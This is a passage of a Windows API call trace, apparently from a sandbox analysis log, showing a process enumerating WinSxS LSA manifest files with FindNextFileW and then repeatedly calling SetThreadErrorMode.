ftLastAccessTime.dwLowDateTime=0x8344f524, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x8a4a5f7a, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x978, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-lsa-msprivs.resources_31bf3856ad364e35_6.1.7600.16385_ar-sa_2eb37ca44d9f6117.manifest", cAlternateFileName="AMF131~1.MAN")) returned 1 [0187.085] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x834293c7, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x834293c7, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x883eb38e, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x978, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-lsa-msprivs.resources_31bf3856ad364e35_6.1.7600.16385_cs-cz_7ffcd4c82ba78e99.manifest", cAlternateFileName="AM6BBC~1.MAN")) returned 1 [0187.085] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x834293c7, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x834293c7, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x860f532f, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x978, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-lsa-msprivs.resources_31bf3856ad364e35_6.1.7600.16385_da-dk_1d36b4ef21ed8a98.manifest", cAlternateFileName="AM7705~1.MAN")) returned 1 [0187.085] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x834293c7, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x834293c7, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x859ab062, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x978, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-lsa-msprivs.resources_31bf3856ad364e35_6.1.7600.16385_de-de_1a624a2b23c3df32.manifest", cAlternateFileName="AM6A39~1.MAN")) returned 1 [0187.085] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x834293c7, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x834293c7, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x878c2d4f, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x978, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-lsa-msprivs.resources_31bf3856ad364e35_6.1.7600.16385_el-gr_c2f877be12d947c0.manifest", cAlternateFileName="AMA8A2~2.MAN")) returned 1 [0187.086] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x834293c7, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xf0b5438b, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x88861c74, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x978, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-lsa-msprivs.resources_31bf3856ad364e35_6.1.7600.16385_en-us_c353202412a1eaf7.manifest", cAlternateFileName="AM6D9C~1.MAN")) returned 1 [0187.086] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x834293c7, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x834293c7, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x8b59bae4, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x978, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-lsa-msprivs.resources_31bf3856ad364e35_6.1.7600.16385_es-es_c31e7d0812c8dc9c.manifest", cAlternateFileName="AM9677~1.MAN")) returned 1 [0187.086] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8340326a, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x8340326a, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x8555a8d9, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x978, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-lsa-msprivs.resources_31bf3856ad364e35_6.1.7600.16385_fi-fi_623981b507e2cec6.manifest", cAlternateFileName="AMDBF8~1.MAN")) returned 1 [0187.086] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8340326a, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x8340326a, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x852ad04f, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x978, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-lsa-msprivs.resources_31bf3856ad364e35_6.1.7600.16385_fr-fr_65d5f307059af2fe.manifest", cAlternateFileName="AMDE59~1.MAN")) returned 1 [0187.087] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8340326a, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x8340326a, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x8c409f21, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x978, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-lsa-msprivs.resources_31bf3856ad364e35_6.1.7600.16385_he-il_a9f59aa8ec09f3ec.manifest", cAlternateFileName="AMA24B~1.MAN")) returned 1 [0187.087] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8340326a, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x8340326a, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x847d0cca, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x978, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-lsa-msprivs.resources_31bf3856ad364e35_6.1.7600.16385_hu-hu_ad46734ee9fac21a.manifest", cAlternateFileName="AM1EA9~1.MAN")) returned 1 [0187.087] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x833dd10d, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x833dd10d, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x8e9876ad, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x978, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-lsa-msprivs.resources_31bf3856ad364e35_6.1.7600.16385_it-it_4ffde94ddcccd87c.manifest", cAlternateFileName="AM7F34~1.MAN")) returned 1 [0187.087] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x833dd10d, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x833dd10d, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x8e667a0c, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x978, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-lsa-msprivs.resources_31bf3856ad364e35_6.1.7600.16385_ja-jp_f223685acfe7ea57.manifest", cAlternateFileName="AM4272~1.MAN")) returned 1 [0187.088] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x833dd10d, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x833dd10d, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x874e49dd, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x978, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-lsa-msprivs.resources_31bf3856ad364e35_6.1.7600.16385_ko-kr_958d450fc258b16d.manifest", cAlternateFileName="AMC57A~1.MAN")) returned 1 [0187.088] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x833dd10d, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x833dd10d, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x8957946c, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x978, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-lsa-msprivs.resources_31bf3856ad364e35_6.1.7600.16385_nb-no_7e1fc6449a7ddd29.manifest", cAlternateFileName="AM4C91~1.MAN")) returned 1 [0187.088] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x833dd10d, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x833dd10d, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x8e158bb2, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x978, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-lsa-msprivs.resources_31bf3856ad364e35_6.1.7600.16385_nl-nl_7c5f11829ba9e6fe.manifest", cAlternateFileName="AMF53D~1.MAN")) returned 1 [0187.088] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x833dd10d, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x833dd10d, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x896f620e, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x978, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-lsa-msprivs.resources_31bf3856ad364e35_6.1.7600.16385_pl-pl_c29b6c0480cc54b2.manifest", cAlternateFileName="AM956C~1.MAN")) returned 1 [0187.089] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x833b6fb0, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x833b6fb0, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x8b60defb, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x978, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-lsa-msprivs.resources_31bf3856ad364e35_6.1.7600.16385_pt-br_c4ef56a87f55e896.manifest", cAlternateFileName="AMA40D~2.MAN")) returned 1 [0187.089] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x833b6fb0, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x833b6fb0, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x8c729bc2, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x978, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-lsa-msprivs.resources_31bf3856ad364e35_6.1.7600.16385_pt-pt_c5d126147ec55872.manifest", cAlternateFileName="AM5ECD~1.MAN")) returned 1 [0187.089] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x833b6fb0, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x833b6fb0, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x876f9cf3, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x978, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-lsa-msprivs.resources_31bf3856ad364e35_6.1.7600.16385_ru-ru_0c7437d863a6e69e.manifest", cAlternateFileName="AMC687~1.MAN")) returned 1 [0187.089] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x833b6fb0, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x833b6fb0, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x8ac163a4, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x978, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-lsa-msprivs.resources_31bf3856ad364e35_6.1.7600.16385_sv-se_a86f224d5acff0f9.manifest", cAlternateFileName="AMA7A1~1.MAN")) returned 1 [0187.090] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83390e53, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x83390e53, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x8d73aefe, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x978, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-lsa-msprivs.resources_31bf3856ad364e35_6.1.7600.16385_tr-tr_517c6c94498bf2ea.manifest", cAlternateFileName="AM2A3B~1.MAN")) returned 1 [0187.090] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83390e53, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x83390e53, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x886bed75, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x978, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-lsa-msprivs.resources_31bf3856ad364e35_6.1.7600.16385_zh-cn_22d98a91f9c3c509.manifest", cAlternateFileName="AM240F~1.MAN")) returned 1 [0187.090] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83390e53, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x83390e53, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x87be29f0, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x978, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-lsa-msprivs.resources_31bf3856ad364e35_6.1.7600.16385_zh-tw_26d5c7e7f734a179.manifest", cAlternateFileName="AMFA78~1.MAN")) returned 1 [0187.090] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80630e86, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x10f6e730, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x94a3accf, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x95f, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-lsa-msprivs_31bf3856ad364e35_6.1.7600.16385_none_680de2b99516e12e.manifest", cAlternateFileName="AMF511~1.MAN")) returned 1 [0187.091] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4be3e74, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0x1d72b304, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xf4be3e74, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x91f, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-lsa.resources_31bf3856ad364e35_6.1.7601.17514_en-us_e4cdd9c0ad3ae168.manifest", cAlternateFileName="AMA1FA~2.MAN")) returned 1 [0187.091] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c4607ae, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0x5c4607ae, ftLastAccessTime.dwHighDateTime=0x1cb892a, ftLastWriteTime.dwLowDateTime=0x5c48690f, ftLastWriteTime.dwHighDateTime=0x1cb892a, nFileSizeHigh=0x0, nFileSizeLow=0x185b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-lsa_31bf3856ad364e35_6.1.7601.17514_none_04709031736ac277.manifest", cAlternateFileName="AM3E23~1.MAN")) returned 1 [0187.531] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbf0) returned 1 [0187.532] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbb0) returned 1 [0187.532] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edca0) returned 1 [0187.534] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbf0) returned 1 [0187.534] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbb0) returned 1 [0187.535] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edca0) returned 1 [0187.535] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbf0) returned 1 [0187.535] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbb0) returned 1 [0187.535] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edca0) returned 1 [0187.626] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbf0) returned 1 [0187.626] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbb0) returned 1 [0187.626] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edca0) returned 1 [0187.628] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbf0) returned 1 [0187.629] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbb0) returned 1 [0187.629] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edca0) returned 1 [0187.675] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbf0) returned 1 [0187.676] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbb0) returned 1 [0187.676] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edca0) returned 1 [0187.678] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbf0) returned 1 [0187.678] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbb0) returned 1 [0187.678] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edca0) returned 1 [0187.679] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbf0) returned 1 [0187.679] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbb0) returned 1 [0187.679] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edca0) returned 1 [0187.679] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbf0) returned 1 [0187.679] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbb0) returned 1 [0187.680] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edca0) returned 1 [0187.680] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbf0) returned 1 [0187.680] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbb0) returned 1 [0187.681] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edca0) returned 1 [0187.681] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbf0) returned 1 [0187.681] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbb0) returned 1 [0187.681] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edca0) returned 1 [0187.771] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbf0) returned 1 [0187.771] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbb0) returned 1 [0187.771] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edca0) returned 1 [0187.773] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbf0) returned 1 [0187.773] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbb0) returned 1 [0187.773] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edca0) returned 1 [0187.774] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbf0) returned 1 [0187.774] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbb0) returned 1 [0187.774] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edca0) returned 1 [0187.775] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbf0) returned 1 [0187.775] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbb0) returned 1 [0187.775] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edca0) returned 1 [0187.775] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbf0) returned 1 [0187.776] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbb0) returned 1 [0187.776] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edca0) returned 1 [0187.776] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbf0) returned 1 [0187.776] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbb0) returned 1 [0187.777] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edca0) returned 1 [0187.777] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbf0) returned 1 [0187.777] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbb0) returned 1 [0187.777] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edca0) returned 1 [0187.778] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbf0) returned 1 [0187.778] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbb0) returned 1 [0187.778] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edca0) returned 1 [0187.832] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbf0) returned 1 [0187.832] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbb0) returned 1 [0187.832] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edca0) returned 1 [0187.834] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbf0) returned 1 [0187.834] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbb0) returned 1 [0187.834] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edca0) returned 1 [0187.835] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbf0) returned 1 [0187.835] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbb0) returned 1 [0187.835] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edca0) returned 1 [0187.836] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbf0) returned 1 [0187.836] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbb0) returned 1 [0187.836] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edca0) returned 1 [0187.837] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbf0) returned 1 [0187.837] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbb0) returned 1 [0187.837] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edca0) returned 1 [0187.837] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbf0) returned 1 [0187.837] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbb0) returned 1 [0187.838] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edca0) returned 1 [0187.838] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbf0) returned 1 [0187.838] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbb0) returned 1 [0187.839] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edca0) returned 1 [0187.839] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbf0) returned 1 [0187.839] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbb0) returned 1 [0187.839] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edca0) returned 1 [0187.840] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbf0) returned 1 [0187.840] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbb0) returned 1 [0187.840] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edca0) returned 1 [0187.840] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbf0) returned 1 [0187.841] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbb0) returned 1 [0187.841] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edca0) returned 1 [0187.841] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbf0) returned 1 [0187.841] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbb0) returned 1 [0187.842] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edca0) returned 1 [0187.842] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbf0) returned 1 [0187.842] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbb0) returned 1 [0187.842] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edca0) returned 1 [0187.843] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbf0) returned 1 [0187.843] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbb0) returned 1 [0187.843] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edca0) returned 1 [0187.843] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbf0) returned 1 [0187.844] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbb0) returned 1 [0187.844] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edca0) returned 1 [0187.844] SetThreadErrorMode 